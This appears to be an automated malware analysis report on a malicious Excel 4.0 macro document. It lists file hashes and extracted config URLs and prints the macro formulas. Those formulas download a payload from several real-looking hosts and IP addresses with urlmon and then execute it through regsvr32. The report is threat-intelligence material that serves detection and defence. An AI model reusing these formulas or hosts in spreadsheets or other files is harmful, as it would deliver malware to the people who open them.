General
-
Target
d95534af4135341c50530efd7bb493a0f3fbb7289c774dd4909ebd8b2934556a
-
Size
44KB
-
MD5
2db3007ed18dbe4ab114e25d7668af2f
-
SHA1
620278fe2d770886506c1056de6d7d0196f1dff1
-
SHA256
d95534af4135341c50530efd7bb493a0f3fbb7289c774dd4909ebd8b2934556a
-
SHA512
e475f86a040b73f32d8fdae000d4833e739e00b5b152385269c1dfe860fa5ae5fc8245aa2517af66a6ee7f6fbd6347b9de52123257d843140a3d4c0c390aa1db
-
SSDEEP
768:y1kICkZNRvmHazrfRmUOcIIGq9hqN6994E3ewNXz8OP6AQPHWZinVd0VhkhB:yKItBvGazLRYIzhqOisNz8OP6Tein0Vo
Malware Config
Extracted
http://www.agretto.com/Template/ziasuz5w8pS08Gm2/
http://www.agnesleung.com/raw.backup/j4ry/
https://lifebotl.com/Response/WllkQWM/
https://livejagat.com/h/SjpRvD/
http://185.187.70.35/wordpress_bo/srvoaI2MBFc/
http://188.166.245.112/sipadu/eFi8UiJETZiK1FB/
http://103.85.95.5/v1/uploads/87DtpAEZULSccOn/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.agretto.com/Template/ziasuz5w8pS08Gm2/","..\wn.ocx",0,0) =IF('KEFGK'!E7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.agnesleung.com/raw.backup/j4ry/","..\wn.ocx",0,0)) =IF('KEFGK'!E9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://lifebotl.com/Response/WllkQWM/","..\wn.ocx",0,0)) =IF('KEFGK'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://livejagat.com/h/SjpRvD/","..\wn.ocx",0,0)) =IF('KEFGK'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://185.187.70.35/wordpress_bo/srvoaI2MBFc/","..\wn.ocx",0,0)) =IF('KEFGK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://185.187.70.35/wordpress_bo/srvoaI2MBFc/","..\wn.ocx",0,0)) =IF('KEFGK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://188.166.245.112/sipadu/eFi8UiJETZiK1FB/","..\wn.ocx",0,0)) =IF('KEFGK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://103.85.95.5/v1/uploads/87DtpAEZULSccOn/","..\wn.ocx",0,0)) =IF('KEFGK'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wn.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
d95534af4135341c50530efd7bb493a0f3fbb7289c774dd4909ebd8b2934556a